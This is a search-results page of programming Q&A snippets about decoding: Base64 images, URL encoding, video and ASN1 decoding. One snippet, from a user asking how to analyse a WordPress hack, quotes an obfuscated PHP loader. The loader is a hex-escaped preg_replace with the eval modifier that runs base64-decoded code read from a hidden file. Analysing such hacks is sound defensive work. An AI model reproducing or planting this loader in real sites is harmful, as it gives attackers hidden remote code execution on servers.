Search Results

Search found 758 results on 31 pages for 'decode'.

Page 2/31 | < Previous Page | 1 2 3 4 5 6 7 8 9 10 11 12  | Next Page >

  • Delphi 2010 - Decode Base64 encoded image from XML doc

    - by James
    I am trying to decode a base64 encoded EMF image from an XML document in my application and render it on screen, however, it never seems to appear. If I copy/paste the data from the XML document into Notepad++ and use the Base64 Decode option and save the file as a .emf it opens fine in mspaint. So I think the issue is how I am decoding it. I have tried the following decode methods described in these articles: How to encode / decode Base 64 string http://www.swissdelphicenter.ch/torry/showcode.php?id=1223 I have also tried the TIdDecoderMIME class to no avail. Does anyone know the most reliable way of decoding a base64 encoded string from XML?

    Read the article

  • 'How decode my encode xml data?

    - by Alex
    Hi <% 'Stage 1 datas=Server.URLencode("<PaginationData currentPage=""1"" totalPages=""9""/>") response.write "Encode = " datas &"</br></br>" 'Stage 2 response.write "Decode = " 'How i again decode my encode data? %> In the "Stage 1" , i encode my xml data In the "Stage 2", How i decode the "Stage 1" Encode data? hoping your support

    Read the article

  • Not sure how to use Decode, NVL, and/or isNull (or something else?) in this situation

    - by RSW
    I have a table of orders for particular products, and a table of products that are on sale. (It's not ideal database structure, but that's out of my control.) What I want to do is outer join the order table to the sale table via product number, but I don't want to include any particular data from the sale table, I just want a Y if the join exists or N if it doesn't in the output. Can anyone explain how I can do this in SQL? Thanks in advance!

    Read the article

  • How do I decode this WordPress hack?

    - by Dennis Wurster
    I found an offending string in a client's WordPress-powered website, and I just want to know what it does. @preg_replace("\x40\50\x2e\53\x29\100\x69\145","\x65\166\x61\154\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b","\x4c\62\x68\166\x62\127\x55\166\x64\62\x56\151\x4c\63\x56\172\x5a\130\x4a\172\x4c\172\x49\167\x4d\152\x6b\165\x59\155\x6c\156\x4e\151\x39\172\x61\130\x52\154\x63\171\x39\151\x61\127\x63\62\x4c\63\x42\61\x59\155\x78\160\x59\61\x39\157\x64\107\x31\163\x4c\62\x5a\166\x63\156\x56\164\x4c\62\x4a\151\x4c\127\x6c\165\x59\62\x78\61\x5a\107\x56\172\x4c\62\x70\172\x4c\62\x70\170\x64\127\x56\171\x65\123\x38\165\x59\62\x46\152\x61\107\x55\166\x4c\151\x55\64\x4d\152\x68\106\x4a\124\x41\167\x4d\124\x4d\154\x51\152\x68\107\x4d\171\x56\103\x51\172\x46\103\x4a\125\x49\171\x4d\153\x49\154\x4e\105\x59\61\x4e\167\x3d\75"); Can someone outline the steps it takes to decode this? I know what preg_replace() is, but I don't know how to decode the arguments to the function, or how PHP processes it into something it can make use of.

    Read the article

  • ASN1 out of memory. during a signedCMS.decode

    - by JL
    I am having a problem using the signedCMS.decode routine. See the code below. The error seems to occur when the file size is too big in this case 11MB. private static void RemoveZfoSignature(string zfoFileName) { byte[] fileContents = File.ReadAllBytes(zfoFileName); var contentInfo = new ContentInfo(fileContents); var signedCms = new SignedCms(contentInfo); // This line throws the error 100% of the time signedCms.Decode(fileContents); signedCms.RemoveSignature(0); byte[] outfile = signedCms.ContentInfo.Content; string outFileName = zfoFileName.Replace(".zfo", "_tmp.zfo"); File.WriteAllBytes(outFileName, outfile); } Here is the exact error: "System.Security.Cryptography.CryptographicException: ASN1 out of memory. at System.Security.Cryptography.Pkcs.SignedCms.OpenToDecode(Byte[] encodedMessage, ContentInfo contentInfo, Boolean detached) at System.Security.Cryptography.Pkcs.SignedCms.Decode(Byte[] encodedMessage) at ConsoleApplication2.Program.RemoveZfoSignature(String zfoFileName) in C:\\Users\\\\Documents\\Visual Studio 2008\\Projects\\ConsoleApplication2\\ConsoleApplication2\\Program.cs:line 30" Any idea on how to fix this?

    Read the article

  • Qt Multimedia API and video decode

    - by nicolabrisotto
    Hi, I'm looking to Qt Multimedia API becouse I want to show the same video on 2 different widget. After hacking a little bit the boundled "videographicsitem" example it works using 2 GraphicsView. But this example use QMovie to decode gif, I want to decode avi, mp4, etc. What can I use to replace QMovie? Is the multimedia API supported on every platform?

    Read the article

  • base 64 URL decode with Ruby/Rails?

    - by seth.vargo
    I am working with the Facebook API and Ruby on Rails and I'm trying to parse the JSON that comes back. The problem I'm running into is that Facebook base64URL encodes their data. There is no built-in base64URL decode for Ruby. For the difference between a base64 encoded and base64URL encoded, see wikipedia. How do I decode this using Ruby/Rails? Edit: Because some people have difficulty reading - base64 URL is DIFFERENT than base64

    Read the article

  • Any alternatives to signedCMS.decode on windows?

    - by JL
    Unfortunately .net functionality using cryptoAPI does not work reliably enough for the task I have. Is there a direct equivalent way for me to decode a signedCMS on windows, using anything other than signedCMS.decode cryptoAPI functionality or CNG. Thanks

    Read the article

  • Encode and Decode using UTF-8 in iphone

    - by Ekra
    Hi friends, I wanted an example were in I can encode and then decode the same string using UTF-8. Encode and then Decode means I want to implement the method in 2 area were one can encode it and other is able to decode it. I have seen the API but I didnt get much success:- StringWithCString:encoding: stringWithUTF8String: stringWithCString:(const char *)cString encoding:(NSStringEncoding)enc; =================EDITED================= I have string as "øæ-test-2.txt" . when I am encoding it char *s = "øæ-test-2.txt"; NSString *enc = [NSString stringWithCString:s encoding:NSASCIIStringEncoding]; I am getting "øæ-test-2.txt" as output. Now I want to get back the original string back i.e. "øæ-test-2.txt" +++++++++EDITED+++++++++++++++++++ I am getting "øæ-test-2.txt" from server and I need "øæ-test-2.txt" by decoding it . I am able to get the output from the link below http://www.cafewebmaster.com/online_tools/utf_decode Please try to use the link and u will understand my concern. I need the solution on urgent basis. It would be highly appreciated if anyone can give some hint or tutorial in right direction. Regards

    Read the article

  • Flash to PHP base64 encode/decode

    - by Gus
    I'm using AS3 to base64 encode a JPG and pass it to Javascript. I'm attempting to use AJAX to pass that base64 encoded string to PHP and have PHP decode it. (I know I could send it back to Flash and Flash could decode it and send it to PHP, but I'm trying to eliminate the need for Flash on the decoding end). It appears that AS3's encodeToBase64String() function and and PHP's base64_decode() function do not use the same algorithm, as PHP evaluates it as a base64 encoded object, but does not seem to output it properly. Is there a way to rectify this problem? Note: Please no posts about not needing Javascript. Javascript is a necessary step for reasons not detailed here.

    Read the article

  • Java library to encode / decode AMF

    - by Ceilingfish
    Hi chaps, I currently have a Java server that talks to a Flash client by passing JSON encoded data over a binary socket connection. Is there a way on either side to encode / decode packets as AMF instead of JSON? It seems to me that there should be some native support in Flash player for doing this? All the implementations I have found of AMF serialization seem to be embedded inside an application framework. Simiarly so, does anyone know if it's possible to decode AMF packets independently of a connection implementation in Flash?

    Read the article

  • libav/ffmpeg: avcodec_decode_video2() returns -1 when separating demultiplexing and decoding

    - by unbekannt
    I'm using libav (from a C++ program on Linux and Windows) to decode video streams from a file, which works fine (decoding various formats like H264 and MPEG2) using avformat_open_input(), av_read_frame() and avcodec_decode_video2(). Now I have to separate demultiplexing and decoding. One class will call avformat_open_input() and av_read_frame() and then pass the AVPackets into a queue that is read by another class. There I use avcodec_alloc_context3() to get the AVCodecContext needed for avcodec_decode_video2(). I've tested that with a MPEG2 video stream and it works. Problems arise if I try to decode a H264 stream: avcodec_decode_video2() always returns -1 and outputs "no frame". I understand that additional data (SPS/PPS) is needed to decode this stream, so I've tried to replicate the original AVCodecContext from the demultiplexer in the decoder, but it won't work: Copying the content of the extradata field and setting all other values that differ from the default ones in the decoder: -1 is returned Using the same context (i.e. passing along the pointer) results in a crash I also tried to set CODEC_FLAG2_CHUNKS. avcodec_decode_video2() then always returns packet.size - 3 (??) and frameFinished is never set to 1. In my opinion I have a general problem here that will arise whenever settings from the original CodecContext are needed to decode the AVPackets. I'd be grateful for any hints on how to solve that problem!

    Read the article

  • Decode JSON with mochijson2 in Erlang

    - by Jon Romero
    I have a var that has some JSON data: A = <<"{\"job\": {\"id\": \"1\"}}">>. Using mochijson2, I decode the data: Struct = mochijson2:decode(A). And now I have this: {struct,[{<<"job">>,{struct,[{<<"id">>,<<"1">>}]}}]} I am trying to read (for example), "job" or "id". I tried using struct.get_value but it doesn't seem to work. Any ideas?

    Read the article

  • Activesupport::JSON.decode crashes on this,

    - by Waheedi
    I wonder why i cant decode this json string, all what i want is to convert this to a proper Ruby hash, anyone have an idea? i think the array of objects is cracking it ? Parameters: {"{\"origins\":"=>{"{\"origin\":\"this\"},{\"origin\":\"dont\"},{\"origin\":\"dont me please\"},{\"origin\":\"and me please\"},{\"origin\":\"dont\"},{\"origin\":\"dont\"},{\"origin\":\"dont\"},{\"origin\":\"okay\"},{\"origin\":\"dont\"},{\"origin\":\"go\"},{\"origin\":\"go\"}"=>{",\"url\":\"file:///Users/waheed/Desktop/untitled.html\",\"apik\":\"helloapik\",\"host\":\"http://localhost:3000/\"}"=>nil}}} now in my javascript im doing this //this is the object im trying to send over xmlhttprequest and im using JSON.org library which has the stringify method function tObject(origins,url,apik){ this.origins=origins; //this is an array of string this.url=url; this.apik=apik; } var t = new tObject(myStringArr,"www.foo.com","welcome guys"); ajax = new Ajax(); //this is an xhcon class you dont worry about it url here http://xkr.us/code/javascript/XHConn/ ajax.connect("http://localhost:3000/","POST",JSON.stringify(t), callback); in my rails app the parameters that has been posted looks like this: Parameters: {"{\"origins\":"={"{\"origin\":\"this\"},{\"origin\":\"yo yo\"},{\"origin\":\" me please\"},{\"origin\":\"and me please\"},{\"origin\":\"here\"},{\"origin\":\"and again\"},{\"origin\":\"again\"},{\"origin\":\"okay\"},{\"origin\":\"yes\"},{\"origin\":\"go\"},{\"origin\":\"go\"}"={",\"url\":\"www.foo.com\",\"apik\":\"welcome guys\"}"=nil}}} why it results with nil at the last ? i've tried to decode it but it could not work because it blame the string is not json string ?!!? TIA, waheedi

    Read the article

  • Why is python decode replacing more than the invalid bytes from an encoded string?

    - by dangra
    Trying to decode an invalid encoded utf-8 html page gives different results in python, firefox and chrome. The invalid encoded fragment from test page looks like 'PREFIX\xe3\xabSUFFIX' >>> fragment = 'PREFIX\xe3\xabSUFFIX' >>> fragment.decode('utf-8', 'strict') ... UnicodeDecodeError: 'utf8' codec can't decode bytes in position 6-8: invalid data What follows is the summary of replacement policies used to handle decoding errors by python, firefox and chrome. Note how the three differs, and specially how python builtin removes the valid S (plus the invalid sequence of bytes). by Python The builtin replace error handler replaces the invalid \xe3\xab plus the S from SUFFIX by U+FFFD >>> fragment.decode('utf-8', 'replace') u'PREFIX\ufffdUFFIX' >>> print _ PREFIX?UFFIX The python implementation builtin replace error handler looks like: >>> python_replace = lambda exc: (u'\ufffd', exc.end) As expected, trying this gives same result than builtin: >>> codecs.register_error('python_replace', python_replace) >>> fragment.decode('utf-8', 'python_replace') u'PREFIX\ufffdUFFIX' >>> print _ PREFIX?UFFIX by Firefox Firefox replaces each invalid byte by U+FFFD >>> firefox_replace = lambda exc: (u'\ufffd', exc.start+1) >>> codecs.register_error('firefox_replace', firefox_replace) >>> test_string.decode('utf-8', 'firefox_replace') u'PREFIX\ufffd\ufffdSUFFIX' >>> print _ PREFIX??SUFFIX by Chrome Chrome replaces each invalid sequence of bytes by U+FFFD >>> chrome_replace = lambda exc: (u'\ufffd', exc.end-1) >>> codecs.register_error('chrome_replace', chrome_replace) >>> fragment.decode('utf-8', 'chrome_replace') u'PREFIX\ufffdSUFFIX' >>> print _ PREFIX?SUFFIX The main question is why builtin replace error handler for str.decode is removing the S from SUFFIX. Also, is there any unicode's official recommended way for handling decoding replacements?

    Read the article

  • ATI gpu (video accel, decode, encode, ATI Stream, DXVA)

    - by Shiki
    Okay its a long question title for sure. I'm looking for a new video card (yes,SU is not a page for that, but wait). I've been a loyal NVidia customer ever since, now using a 8600gts. Old but still somewhat good, its a bit slow though. I want an upgrade because 8600gts wont support better vdpau and new features. I checked out the prices and the documents, I would need a GTX260 card. Which costs ..well.. a lot. ATI performs much better for that price. (At least on every test it outperforms GTX260). However, as far as I know there is no gpu accel with ATI. The things you can use is DXVA only, no other method. Could you correct me out there? Will be there a gpu accel for ATI also? Or is there one available? (DXVA is not bad, but kinda slow compared to NVIdia's CUDA.) What about openCL? How does ATI support that? (I'm talking about the 5850 ATI card at the minute, I would buy that instead of the NVidia.)

    Read the article

  • OpenSSL decode not working

    - by JL
    I am trying to use the following command: openssl enc -base64 -in myfile -out myfile.b64 For more info this link, has full instructions. Nothing happens and via a DOS window, it just doesn't work. Any suggestions why?

    Read the article

  • How decode xfs lost+found directory

    - by Satpal
    I have managed to trash my homebrew Nas box (an old hp d530 + 2x 750gb sata soft raid1 + 17gb boot disk with ubuntu server 8.10) I have searched the web and tried to repair the file system but to no avail :( I was thinking that the dirs/files located under the root of the lost+found directory are 64 bit numbers. Is there any way that I could decant the number into binary form, from there reconstruct the directory/file structure. More to the point can anyone point to the information on how xfs inodes are broken down(does that make sense)?

    Read the article

  • Alternative to System.Web.HttpUtility.HtmlEncode/Decode?

    - by Jörg Battermann
    Is there any 'slimmer' alternative to the System.Web.HttpUtility.HtmlEncode/.Decode functions in .net 3.5 (sp1)? A separate library is fine.. or even 'wanted', at least something that does not pull in a 'whole new world' of dependencies that System.Web requires. I only want to convert a normal string into its xml/xhtml compliant equivalent (& back).

    Read the article

< Previous Page | 1 2 3 4 5 6 7 8 9 10 11 12  | Next Page >